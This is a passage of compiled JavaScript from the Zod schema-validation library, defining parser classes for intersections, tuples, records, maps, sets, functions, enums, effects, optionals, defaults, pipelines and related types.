newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) {\n return { valid: false };\n }\n newArray.push(sharedValue.data);\n }\n return { valid: true, data: newArray };\n }\n else if (aType === ZodParsedType.date && bType === ZodParsedType.date && +a === +b) {\n return { valid: true, data: a };\n }\n else {\n return { valid: false };\n }\n}\nexport class ZodIntersection extends ZodType {\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n const handleParsed = (parsedLeft, parsedRight) => {\n if (isAborted(parsedLeft) || isAborted(parsedRight)) {\n return INVALID;\n }\n const merged = mergeValues(parsedLeft.value, parsedRight.value);\n if (!merged.valid) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_intersection_types,\n });\n return INVALID;\n }\n if (isDirty(parsedLeft) || isDirty(parsedRight)) {\n status.dirty();\n }\n return { status: status.value, value: merged.data };\n };\n if (ctx.common.async) {\n return Promise.all([\n this._def.left._parseAsync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n }),\n this._def.right._parseAsync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n }),\n ]).then(([left, right]) => handleParsed(left, right));\n }\n else {\n return handleParsed(this._def.left._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n }), this._def.right._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n }));\n }\n }\n}\nZodIntersection.create = (left, right, params) => {\n return new ZodIntersection({\n left: left,\n right: right,\n typeName: ZodFirstPartyTypeKind.ZodIntersection,\n ...processCreateParams(params),\n });\n};\n// type ZodTupleItems = [ZodTypeAny, ...ZodTypeAny[]];\nexport class ZodTuple extends ZodType {\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.array) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.array,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n if (ctx.data.length < this._def.items.length) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: this._def.items.length,\n inclusive: true,\n exact: false,\n type: \"array\",\n });\n return INVALID;\n }\n const rest = this._def.rest;\n if (!rest && ctx.data.length > this._def.items.length) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: this._def.items.length,\n inclusive: true,\n exact: false,\n type: \"array\",\n });\n status.dirty();\n }\n const items = [...ctx.data]\n .map((item, itemIndex) => {\n const schema = this._def.items[itemIndex] || this._def.rest;\n if (!schema)\n return null;\n return schema._parse(new ParseInputLazyPath(ctx, item, ctx.path, itemIndex));\n })\n .filter((x) => !!x); // filter nulls\n if (ctx.common.async) {\n return Promise.all(items).then((results) => {\n return ParseStatus.mergeArray(status, results);\n });\n }\n else {\n return ParseStatus.mergeArray(status, items);\n }\n }\n get items() {\n return this._def.items;\n }\n rest(rest) {\n return new ZodTuple({\n ...this._def,\n rest,\n });\n }\n}\nZodTuple.create = (schemas, params) => {\n if (!Array.isArray(schemas)) {\n throw new Error(\"You must pass an array of schemas to z.tuple([ ... ])\");\n }\n return new ZodTuple({\n items: schemas,\n typeName: ZodFirstPartyTypeKind.ZodTuple,\n rest: null,\n ...processCreateParams(params),\n });\n};\nexport class ZodRecord extends ZodType {\n get keySchema() {\n return this._def.keyType;\n }\n get valueSchema() {\n return this._def.valueType;\n }\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.object) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.object,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const pairs = [];\n const keyType = this._def.keyType;\n const valueType = this._def.valueType;\n for (const key in ctx.data) {\n pairs.push({\n key: keyType._parse(new ParseInputLazyPath(ctx, key, ctx.path, key)),\n value: valueType._parse(new ParseInputLazyPath(ctx, ctx.data[key], ctx.path, key)),\n alwaysSet: key in ctx.data,\n });\n }\n if (ctx.common.async) {\n return ParseStatus.mergeObjectAsync(status, pairs);\n }\n else {\n return ParseStatus.mergeObjectSync(status, pairs);\n }\n }\n get element() {\n return this._def.valueType;\n }\n static create(first, second, third) {\n if (second instanceof ZodType) {\n return new ZodRecord({\n keyType: first,\n valueType: second,\n typeName: ZodFirstPartyTypeKind.ZodRecord,\n ...processCreateParams(third),\n });\n }\n return new ZodRecord({\n keyType: ZodString.create(),\n valueType: first,\n typeName: ZodFirstPartyTypeKind.ZodRecord,\n ...processCreateParams(second),\n });\n }\n}\nexport class ZodMap extends ZodType {\n get keySchema() {\n return this._def.keyType;\n }\n get valueSchema() {\n return this._def.valueType;\n }\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.map) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.map,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const keyType = this._def.keyType;\n const valueType = this._def.valueType;\n const pairs = [...ctx.data.entries()].map(([key, value], index) => {\n return {\n key: keyType._parse(new ParseInputLazyPath(ctx, key, ctx.path, [index, \"key\"])),\n value: valueType._parse(new ParseInputLazyPath(ctx, value, ctx.path, [index, \"value\"])),\n };\n });\n if (ctx.common.async) {\n const finalMap = new Map();\n return Promise.resolve().then(async () => {\n for (const pair of pairs) {\n const key = await pair.key;\n const value = await pair.value;\n if (key.status === \"aborted\" || value.status === \"aborted\") {\n return INVALID;\n }\n if (key.status === \"dirty\" || value.status === \"dirty\") {\n status.dirty();\n }\n finalMap.set(key.value, value.value);\n }\n return { status: status.value, value: finalMap };\n });\n }\n else {\n const finalMap = new Map();\n for (const pair of pairs) {\n const key = pair.key;\n const value = pair.value;\n if (key.status === \"aborted\" || value.status === \"aborted\") {\n return INVALID;\n }\n if (key.status === \"dirty\" || value.status === \"dirty\") {\n status.dirty();\n }\n finalMap.set(key.value, value.value);\n }\n return { status: status.value, value: finalMap };\n }\n }\n}\nZodMap.create = (keyType, valueType, params) => {\n return new ZodMap({\n valueType,\n keyType,\n typeName: ZodFirstPartyTypeKind.ZodMap,\n ...processCreateParams(params),\n });\n};\nexport class ZodSet extends ZodType {\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.set) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.set,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const def = this._def;\n if (def.minSize !== null) {\n if (ctx.data.size < def.minSize.value) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_small,\n minimum: def.minSize.value,\n type: \"set\",\n inclusive: true,\n exact: false,\n message: def.minSize.message,\n });\n status.dirty();\n }\n }\n if (def.maxSize !== null) {\n if (ctx.data.size > def.maxSize.value) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.too_big,\n maximum: def.maxSize.value,\n type: \"set\",\n inclusive: true,\n exact: false,\n message: def.maxSize.message,\n });\n status.dirty();\n }\n }\n const valueType = this._def.valueType;\n function finalizeSet(elements) {\n const parsedSet = new Set();\n for (const element of elements) {\n if (element.status === \"aborted\")\n return INVALID;\n if (element.status === \"dirty\")\n status.dirty();\n parsedSet.add(element.value);\n }\n return { status: status.value, value: parsedSet };\n }\n const elements = [...ctx.data.values()].map((item, i) => valueType._parse(new ParseInputLazyPath(ctx, item, ctx.path, i)));\n if (ctx.common.async) {\n return Promise.all(elements).then((elements) => finalizeSet(elements));\n }\n else {\n return finalizeSet(elements);\n }\n }\n min(minSize, message) {\n return new ZodSet({\n ...this._def,\n minSize: { value: minSize, message: errorUtil.toString(message) },\n });\n }\n max(maxSize, message) {\n return new ZodSet({\n ...this._def,\n maxSize: { value: maxSize, message: errorUtil.toString(message) },\n });\n }\n size(size, message) {\n return this.min(size, message).max(size, message);\n }\n nonempty(message) {\n return this.min(1, message);\n }\n}\nZodSet.create = (valueType, params) => {\n return new ZodSet({\n valueType,\n minSize: null,\n maxSize: null,\n typeName: ZodFirstPartyTypeKind.ZodSet,\n ...processCreateParams(params),\n });\n};\nexport class ZodFunction extends ZodType {\n constructor() {\n super(...arguments);\n this.validate = this.implement;\n }\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.function) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.function,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n function makeArgsIssue(args, error) {\n return makeIssue({\n data: args,\n path: ctx.path,\n errorMaps: [ctx.common.contextualErrorMap, ctx.schemaErrorMap, getErrorMap(), defaultErrorMap].filter((x) => !!x),\n issueData: {\n code: ZodIssueCode.invalid_arguments,\n argumentsError: error,\n },\n });\n }\n function makeReturnsIssue(returns, error) {\n return makeIssue({\n data: returns,\n path: ctx.path,\n errorMaps: [ctx.common.contextualErrorMap, ctx.schemaErrorMap, getErrorMap(), defaultErrorMap].filter((x) => !!x),\n issueData: {\n code: ZodIssueCode.invalid_return_type,\n returnTypeError: error,\n },\n });\n }\n const params = { errorMap: ctx.common.contextualErrorMap };\n const fn = ctx.data;\n if (this._def.returns instanceof ZodPromise) {\n // Would love a way to avoid disabling this rule, but we need\n // an alias (using an arrow function was what caused 2651).\n // eslint-disable-next-line @typescript-eslint/no-this-alias\n const me = this;\n return OK(async function (...args) {\n const error = new ZodError([]);\n const parsedArgs = await me._def.args.parseAsync(args, params).catch((e) => {\n error.addIssue(makeArgsIssue(args, e));\n throw error;\n });\n const result = await Reflect.apply(fn, this, parsedArgs);\n const parsedReturns = await me._def.returns._def.type\n .parseAsync(result, params)\n .catch((e) => {\n error.addIssue(makeReturnsIssue(result, e));\n throw error;\n });\n return parsedReturns;\n });\n }\n else {\n // Would love a way to avoid disabling this rule, but we need\n // an alias (using an arrow function was what caused 2651).\n // eslint-disable-next-line @typescript-eslint/no-this-alias\n const me = this;\n return OK(function (...args) {\n const parsedArgs = me._def.args.safeParse(args, params);\n if (!parsedArgs.success) {\n throw new ZodError([makeArgsIssue(args, parsedArgs.error)]);\n }\n const result = Reflect.apply(fn, this, parsedArgs.data);\n const parsedReturns = me._def.returns.safeParse(result, params);\n if (!parsedReturns.success) {\n throw new ZodError([makeReturnsIssue(result, parsedReturns.error)]);\n }\n return parsedReturns.data;\n });\n }\n }\n parameters() {\n return this._def.args;\n }\n returnType() {\n return this._def.returns;\n }\n args(...items) {\n return new ZodFunction({\n ...this._def,\n args: ZodTuple.create(items).rest(ZodUnknown.create()),\n });\n }\n returns(returnType) {\n return new ZodFunction({\n ...this._def,\n returns: returnType,\n });\n }\n implement(func) {\n const validatedFunc = this.parse(func);\n return validatedFunc;\n }\n strictImplement(func) {\n const validatedFunc = this.parse(func);\n return validatedFunc;\n }\n static create(args, returns, params) {\n return new ZodFunction({\n args: (args ? args : ZodTuple.create([]).rest(ZodUnknown.create())),\n returns: returns || ZodUnknown.create(),\n typeName: ZodFirstPartyTypeKind.ZodFunction,\n ...processCreateParams(params),\n });\n }\n}\nexport class ZodLazy extends ZodType {\n get schema() {\n return this._def.getter();\n }\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n const lazySchema = this._def.getter();\n return lazySchema._parse({ data: ctx.data, path: ctx.path, parent: ctx });\n }\n}\nZodLazy.create = (getter, params) => {\n return new ZodLazy({\n getter: getter,\n typeName: ZodFirstPartyTypeKind.ZodLazy,\n ...processCreateParams(params),\n });\n};\nexport class ZodLiteral extends ZodType {\n _parse(input) {\n if (input.data !== this._def.value) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n received: ctx.data,\n code: ZodIssueCode.invalid_literal,\n expected: this._def.value,\n });\n return INVALID;\n }\n return { status: \"valid\", value: input.data };\n }\n get value() {\n return this._def.value;\n }\n}\nZodLiteral.create = (value, params) => {\n return new ZodLiteral({\n value: value,\n typeName: ZodFirstPartyTypeKind.ZodLiteral,\n ...processCreateParams(params),\n });\n};\nfunction createZodEnum(values, params) {\n return new ZodEnum({\n values,\n typeName: ZodFirstPartyTypeKind.ZodEnum,\n ...processCreateParams(params),\n });\n}\nexport class ZodEnum extends ZodType {\n _parse(input) {\n if (typeof input.data !== \"string\") {\n const ctx = this._getOrReturnCtx(input);\n const expectedValues = this._def.values;\n addIssueToContext(ctx, {\n expected: util.joinValues(expectedValues),\n received: ctx.parsedType,\n code: ZodIssueCode.invalid_type,\n });\n return INVALID;\n }\n if (!this._cache) {\n this._cache = new Set(this._def.values);\n }\n if (!this._cache.has(input.data)) {\n const ctx = this._getOrReturnCtx(input);\n const expectedValues = this._def.values;\n addIssueToContext(ctx, {\n received: ctx.data,\n code: ZodIssueCode.invalid_enum_value,\n options: expectedValues,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n get options() {\n return this._def.values;\n }\n get enum() {\n const enumValues = {};\n for (const val of this._def.values) {\n enumValues[val] = val;\n }\n return enumValues;\n }\n get Values() {\n const enumValues = {};\n for (const val of this._def.values) {\n enumValues[val] = val;\n }\n return enumValues;\n }\n get Enum() {\n const enumValues = {};\n for (const val of this._def.values) {\n enumValues[val] = val;\n }\n return enumValues;\n }\n extract(values, newDef = this._def) {\n return ZodEnum.create(values, {\n ...this._def,\n ...newDef,\n });\n }\n exclude(values, newDef = this._def) {\n return ZodEnum.create(this.options.filter((opt) => !values.includes(opt)), {\n ...this._def,\n ...newDef,\n });\n }\n}\nZodEnum.create = createZodEnum;\nexport class ZodNativeEnum extends ZodType {\n _parse(input) {\n const nativeEnumValues = util.getValidEnumValues(this._def.values);\n const ctx = this._getOrReturnCtx(input);\n if (ctx.parsedType !== ZodParsedType.string && ctx.parsedType !== ZodParsedType.number) {\n const expectedValues = util.objectValues(nativeEnumValues);\n addIssueToContext(ctx, {\n expected: util.joinValues(expectedValues),\n received: ctx.parsedType,\n code: ZodIssueCode.invalid_type,\n });\n return INVALID;\n }\n if (!this._cache) {\n this._cache = new Set(util.getValidEnumValues(this._def.values));\n }\n if (!this._cache.has(input.data)) {\n const expectedValues = util.objectValues(nativeEnumValues);\n addIssueToContext(ctx, {\n received: ctx.data,\n code: ZodIssueCode.invalid_enum_value,\n options: expectedValues,\n });\n return INVALID;\n }\n return OK(input.data);\n }\n get enum() {\n return this._def.values;\n }\n}\nZodNativeEnum.create = (values, params) => {\n return new ZodNativeEnum({\n values: values,\n typeName: ZodFirstPartyTypeKind.ZodNativeEnum,\n ...processCreateParams(params),\n });\n};\nexport class ZodPromise extends ZodType {\n unwrap() {\n return this._def.type;\n }\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n if (ctx.parsedType !== ZodParsedType.promise && ctx.common.async === false) {\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.promise,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n const promisified = ctx.parsedType === ZodParsedType.promise ? ctx.data : Promise.resolve(ctx.data);\n return OK(promisified.then((data) => {\n return this._def.type.parseAsync(data, {\n path: ctx.path,\n errorMap: ctx.common.contextualErrorMap,\n });\n }));\n }\n}\nZodPromise.create = (schema, params) => {\n return new ZodPromise({\n type: schema,\n typeName: ZodFirstPartyTypeKind.ZodPromise,\n ...processCreateParams(params),\n });\n};\nexport class ZodEffects extends ZodType {\n innerType() {\n return this._def.schema;\n }\n sourceType() {\n return this._def.schema._def.typeName === ZodFirstPartyTypeKind.ZodEffects\n ? this._def.schema.sourceType()\n : this._def.schema;\n }\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n const effect = this._def.effect || null;\n const checkCtx = {\n addIssue: (arg) => {\n addIssueToContext(ctx, arg);\n if (arg.fatal) {\n status.abort();\n }\n else {\n status.dirty();\n }\n },\n get path() {\n return ctx.path;\n },\n };\n checkCtx.addIssue = checkCtx.addIssue.bind(checkCtx);\n if (effect.type === \"preprocess\") {\n const processed = effect.transform(ctx.data, checkCtx);\n if (ctx.common.async) {\n return Promise.resolve(processed).then(async (processed) => {\n if (status.value === \"aborted\")\n return INVALID;\n const result = await this._def.schema._parseAsync({\n data: processed,\n path: ctx.path,\n parent: ctx,\n });\n if (result.status === \"aborted\")\n return INVALID;\n if (result.status === \"dirty\")\n return DIRTY(result.value);\n if (status.value === \"dirty\")\n return DIRTY(result.value);\n return result;\n });\n }\n else {\n if (status.value === \"aborted\")\n return INVALID;\n const result = this._def.schema._parseSync({\n data: processed,\n path: ctx.path,\n parent: ctx,\n });\n if (result.status === \"aborted\")\n return INVALID;\n if (result.status === \"dirty\")\n return DIRTY(result.value);\n if (status.value === \"dirty\")\n return DIRTY(result.value);\n return result;\n }\n }\n if (effect.type === \"refinement\") {\n const executeRefinement = (acc) => {\n const result = effect.refinement(acc, checkCtx);\n if (ctx.common.async) {\n return Promise.resolve(result);\n }\n if (result instanceof Promise) {\n throw new Error(\"Async refinement encountered during synchronous parse operation. Use .parseAsync instead.\");\n }\n return acc;\n };\n if (ctx.common.async === false) {\n const inner = this._def.schema._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n if (inner.status === \"aborted\")\n return INVALID;\n if (inner.status === \"dirty\")\n status.dirty();\n // return value is ignored\n executeRefinement(inner.value);\n return { status: status.value, value: inner.value };\n }\n else {\n return this._def.schema._parseAsync({ data: ctx.data, path: ctx.path, parent: ctx }).then((inner) => {\n if (inner.status === \"aborted\")\n return INVALID;\n if (inner.status === \"dirty\")\n status.dirty();\n return executeRefinement(inner.value).then(() => {\n return { status: status.value, value: inner.value };\n });\n });\n }\n }\n if (effect.type === \"transform\") {\n if (ctx.common.async === false) {\n const base = this._def.schema._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n if (!isValid(base))\n return INVALID;\n const result = effect.transform(base.value, checkCtx);\n if (result instanceof Promise) {\n throw new Error(`Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.`);\n }\n return { status: status.value, value: result };\n }\n else {\n return this._def.schema._parseAsync({ data: ctx.data, path: ctx.path, parent: ctx }).then((base) => {\n if (!isValid(base))\n return INVALID;\n return Promise.resolve(effect.transform(base.value, checkCtx)).then((result) => ({\n status: status.value,\n value: result,\n }));\n });\n }\n }\n util.assertNever(effect);\n }\n}\nZodEffects.create = (schema, effect, params) => {\n return new ZodEffects({\n schema,\n typeName: ZodFirstPartyTypeKind.ZodEffects,\n effect,\n ...processCreateParams(params),\n });\n};\nZodEffects.createWithPreprocess = (preprocess, schema, params) => {\n return new ZodEffects({\n schema,\n effect: { type: \"preprocess\", transform: preprocess },\n typeName: ZodFirstPartyTypeKind.ZodEffects,\n ...processCreateParams(params),\n });\n};\nexport { ZodEffects as ZodTransformer };\nexport class ZodOptional extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType === ZodParsedType.undefined) {\n return OK(undefined);\n }\n return this._def.innerType._parse(input);\n }\n unwrap() {\n return this._def.innerType;\n }\n}\nZodOptional.create = (type, params) => {\n return new ZodOptional({\n innerType: type,\n typeName: ZodFirstPartyTypeKind.ZodOptional,\n ...processCreateParams(params),\n });\n};\nexport class ZodNullable extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType === ZodParsedType.null) {\n return OK(null);\n }\n return this._def.innerType._parse(input);\n }\n unwrap() {\n return this._def.innerType;\n }\n}\nZodNullable.create = (type, params) => {\n return new ZodNullable({\n innerType: type,\n typeName: ZodFirstPartyTypeKind.ZodNullable,\n ...processCreateParams(params),\n });\n};\nexport class ZodDefault extends ZodType {\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n let data = ctx.data;\n if (ctx.parsedType === ZodParsedType.undefined) {\n data = this._def.defaultValue();\n }\n return this._def.innerType._parse({\n data,\n path: ctx.path,\n parent: ctx,\n });\n }\n removeDefault() {\n return this._def.innerType;\n }\n}\nZodDefault.create = (type, params) => {\n return new ZodDefault({\n innerType: type,\n typeName: ZodFirstPartyTypeKind.ZodDefault,\n defaultValue: typeof params.default === \"function\" ? params.default : () => params.default,\n ...processCreateParams(params),\n });\n};\nexport class ZodCatch extends ZodType {\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n // newCtx is used to not collect issues from inner types in ctx\n const newCtx = {\n ...ctx,\n common: {\n ...ctx.common,\n issues: [],\n },\n };\n const result = this._def.innerType._parse({\n data: newCtx.data,\n path: newCtx.path,\n parent: {\n ...newCtx,\n },\n });\n if (isAsync(result)) {\n return result.then((result) => {\n return {\n status: \"valid\",\n value: result.status === \"valid\"\n ? result.value\n : this._def.catchValue({\n get error() {\n return new ZodError(newCtx.common.issues);\n },\n input: newCtx.data,\n }),\n };\n });\n }\n else {\n return {\n status: \"valid\",\n value: result.status === \"valid\"\n ? result.value\n : this._def.catchValue({\n get error() {\n return new ZodError(newCtx.common.issues);\n },\n input: newCtx.data,\n }),\n };\n }\n }\n removeCatch() {\n return this._def.innerType;\n }\n}\nZodCatch.create = (type, params) => {\n return new ZodCatch({\n innerType: type,\n typeName: ZodFirstPartyTypeKind.ZodCatch,\n catchValue: typeof params.catch === \"function\" ? params.catch : () => params.catch,\n ...processCreateParams(params),\n });\n};\nexport class ZodNaN extends ZodType {\n _parse(input) {\n const parsedType = this._getType(input);\n if (parsedType !== ZodParsedType.nan) {\n const ctx = this._getOrReturnCtx(input);\n addIssueToContext(ctx, {\n code: ZodIssueCode.invalid_type,\n expected: ZodParsedType.nan,\n received: ctx.parsedType,\n });\n return INVALID;\n }\n return { status: \"valid\", value: input.data };\n }\n}\nZodNaN.create = (params) => {\n return new ZodNaN({\n typeName: ZodFirstPartyTypeKind.ZodNaN,\n ...processCreateParams(params),\n });\n};\nexport const BRAND = Symbol(\"zod_brand\");\nexport class ZodBranded extends ZodType {\n _parse(input) {\n const { ctx } = this._processInputParams(input);\n const data = ctx.data;\n return this._def.type._parse({\n data,\n path: ctx.path,\n parent: ctx,\n });\n }\n unwrap() {\n return this._def.type;\n }\n}\nexport class ZodPipeline extends ZodType {\n _parse(input) {\n const { status, ctx } = this._processInputParams(input);\n if (ctx.common.async) {\n const handleAsync = async () => {\n const inResult = await this._def.in._parseAsync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n if (inResult.status === \"aborted\")\n return INVALID;\n if (inResult.status === \"dirty\") {\n status.dirty();\n return DIRTY(inResult.value);\n }\n else {\n return this._def.out._parseAsync({\n data: inResult.value,\n path: ctx.path,\n parent: ctx,\n });\n }\n };\n return handleAsync();\n }\n else {\n const inResult = this._def.in._parseSync({\n data: ctx.data,\n path: ctx.path,\n parent: ctx,\n });\n if (inResult.status === \"aborted\")\n return INVALID;\n if (inResult.status === \"dirty\") {\n status.dirty();\n return {\n status: \"dirty\",\n value: inResult.value,\n };\n }\n else {\n return this._def.out._parseSync({\n data: inResult.value,\n path: ctx.path,\n parent: ctx,\n });\n }\n }\n }\n static create(a, b) {\n return new ZodPipeline({\n in: a,\n out: b,\n typeName: ZodFirstPartyTypeKind.ZodPipeline,\n });\n }\n}\nexport class ZodReadonly extends ZodType {\n _parse(input) {\n const result = this._def.innerType._parse(input);\n const freeze = (data) => {\n if (isValid(data)) {\n data.value = Object.freeze(data.value);\n }\n return data;\n };\n return isAsync(result) ? result.then((data) => freeze(data)) : freeze(result);\n }\n unwrap() {\n return this._def.innerType;\n }\n}\nZodReadonly.create = (type, params) => {\n return new ZodReadonly({\n innerType: type,\n typeName: ZodFirstPartyTypeKind.ZodReadonly,\n ...processCreateParams(params),\n });\n};\n////////////////////////////////////////\n////////////////////////////////////////\n////////// //////////\n////////// z.custom //////////\n////////// //////////\n////////////////////////////////////////\n////////////////////////////////////////\nfunction cleanParams(params, data) {\n const p = typeof params === \"function\" ? params(data) : typeof params === \"string\" ? { message: params } : params;\n const p2 = typeof p === \"string\" ? { message: p } : p;\n return p2;\n}\nexport function custom(check, _params = {}, \n/**\n * @deprecated\n *\n * Pass `fatal` into the params object instead:\n *\n * ```ts\n * z.string().custom((val) => val.length > 5, { fatal: false })\n * ```\n *\n */\nfatal) {\n if (check)\n return ZodAny.create().superRefine((data, ctx) => {\n const r = check(data);\n if (r instanceof Promise) {\n return r.then((r) => {\n if (!r) {\n const params = cleanParams(_params, data);\n const _fatal = params.fatal ?? fatal ?? true;\n ctx.addIssue({ code: \"custom\", ...params, fatal: _fatal });\n }\n });\n }\n if (!r) {\n const params = cleanParams(_params, data);\n const _fatal = params.fatal ?? fatal ?? true;\n ctx.addIssue({ code: \"custom\", ...params, fatal: _fatal });\n }\n return;\n });\n return ZodAny.create();\n}\nexport { ZodType as Schema, ZodType as ZodSchema };\nexport const late = {\n object: ZodObject.lazycreate,\n};\nexport var ZodFirstPartyTypeKind;\n(function (ZodFirstPartyTypeKind) {\n ZodFirstPartyTypeKind[\"ZodString\"] = \"ZodString\";\n ZodFirstPartyTypeKind[\"ZodNumber\"] = \"ZodNumber\";\n ZodFirstPartyTypeKind[\"ZodNaN\"] = \"ZodNaN\";\n ZodFirstPartyTypeKind[\"ZodBigInt\"] = \"ZodBigInt\";\n ZodFirstPartyTypeKind[\"ZodBoolean\"] = \"ZodBoolean\";\n ZodFirstPartyTypeKind[\"ZodDate\"] = \"ZodDate\";\n ZodFirstPartyTypeKind[\"ZodSymbol\"] = \"ZodSymbol\";\n ZodFirstPartyTypeKind[\"ZodUndefined\"] = \"ZodUndefined\";\n ZodFirstPartyTypeKind[\"ZodNull\"] = \"ZodNull\";\n ZodFirstPartyTypeKind[\"ZodAny\"] = \"ZodAny\";\n ZodFirstPartyTypeKind[\"ZodUnknown\"] = \"ZodUnknown\";\n ZodFirstPartyTypeKind[\"ZodNever\"] = \"ZodNever\";\n ZodFirstPartyTypeKind[\"ZodVoid\"] = \"ZodVoid\";\n ZodFirstPartyTypeKind[\"ZodArray\"] = \"ZodArray\";\n ZodFirstPartyTypeKind[\"ZodObject\"] = \"ZodObject\";\n ZodFirstPartyTypeKind[\"ZodUnion\"] = \"ZodUnion\";\n ZodFirstPartyTypeKind[\"ZodDiscriminatedUnion\"] = \"ZodDiscriminatedUnion\";\n ZodFirstPartyTypeKind[\"ZodIntersection\"] = \"ZodIntersection\";\n ZodFirstPartyTypeKind[\"ZodTuple\"] = \"ZodTuple\";\n ZodFirstPartyTypeKind[\"ZodRecord\"] = \"ZodRecord\";\n ZodFirstPartyTypeKind[\"ZodMap\"] = \"ZodMap\";\n ZodFirstPartyTypeKind[\"ZodSet\"] = \"ZodSet\";\n ZodFirstPartyTypeKind[\"ZodFunction\"] = \"ZodFunction\";\n ZodFirstPartyTypeKind[\"ZodLazy\"] = \"ZodLazy\";\n ZodFirstPartyTypeKind[\"ZodLiteral\"] = \"ZodLiteral\";\n ZodFirstPartyTypeKind[\"ZodEnum\"] = \"ZodEnum\";\n ZodFirstPartyTypeKind[\"ZodEffects\"] = \"ZodEffects\";\n ZodFirstPartyTypeKind[\"ZodNativeEnum\"] = \"ZodNativeEnum\";\n ZodFirstPartyTypeKind[\"ZodOptional\"] = \"ZodOptional\";\n ZodFirstPartyTypeKind[\"ZodNullable\"] = \"ZodNullable\";\n ZodFirstPartyTypeKind[\"ZodDefault\"] = \"ZodDefault\";\n ZodFirstPartyTypeKind[\"ZodCatch\"] = \"ZodCatch\";\n ZodFirstPartyTypeKind[\"ZodPromise\"] = \"ZodPromise\";\n ZodFirstPartyTypeKind[\"ZodBranded\"] = \"ZodBranded\";\n ZodFirstPartyTypeKind[\"ZodPipeline\"] = \"ZodPipeline\";\n ZodFirstPartyTypeKind[\"ZodReadonly\"] = \"ZodReadonly\";\n})(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {}));\n// requires TS 4.4+\nclass Class {\n constructor(..._) { }\n}\nconst instanceOfType = (\n// const instanceOfType = <T extends new (...args: any[]) => any>(\ncls, params = {\n message: `Input not instance of ${cls.name}`,\n}) => custom((data) => data instanceof cls, params);\nconst stringType = ZodString.create;\nconst numberType = ZodNumber.create;\nconst nanType = ZodNaN.create;\nconst bigIntType = ZodBigInt.create;\nconst booleanType = ZodBoolean.create;\nconst dateType = ZodDate.create;\nconst symbolType = ZodSymbol.create;\nconst undefinedType = ZodUndefined.create;\nconst nullType = ZodNull.create;\nconst anyType = ZodAny.create;\nconst unknownType = ZodUnknown.create;\nconst neverType = ZodNever.create;\nconst voidType = ZodVoid.create;\nconst arrayType = ZodArray.create;\nconst objectType = ZodObject.create;\nconst strictObjectType = ZodObject.strictCreate;\nconst unionType = ZodUnion.create;\nconst discriminatedUnionType = ZodDiscriminatedUnion.create;\nconst intersectionType = ZodIntersection.create;\nconst tupleType = ZodTuple.create;\nconst recordType = ZodRecord.create;\nconst mapType = ZodMap.create;\nconst setType = ZodSet.create;\nconst functionType = ZodFunction.create;\nconst lazyType = ZodLazy.create;\nconst literalType = ZodLiteral.create;\nconst enumType = ZodEnum.create;\nconst nativeEnumType = ZodNativeEnum.create;\nconst promiseType = ZodPromise.create;\nconst effectsType = ZodEffects.create;\nconst optionalType = ZodOptional.create;\nconst nullableType = ZodNullable.create;\nconst preprocessType = ZodEffects.createWithPreprocess;\nconst pipelineType = ZodPipeline.create;\nconst ostring = () => stringType().optional();\nconst onumber = () => numberType().optional();\nconst oboolean = () => booleanType().optional();\nexport const coerce = {\n string: ((arg) => ZodString.create({ ...arg, coerce: true })),\n number: ((arg) => ZodNumber.create({ ...arg, coerce: true })),\n boolean: ((arg) => ZodBoolean.create({\n ...arg,\n coerce: true,\n })),\n bigint: ((arg) => ZodBigInt.create({ ...arg, coerce: true })),\n date: ((arg) => ZodDate.create({ ...arg, coerce: true })),\n};\nexport { anyType as any, arrayType as array, bigIntType as bigint, booleanType as boolean, dateType as date, discriminatedUnionType as discriminatedUnion, effectsType as effect, enumType as enum, functionType as function, instanceOfType as instanceof, intersectionType as intersection, lazyType as 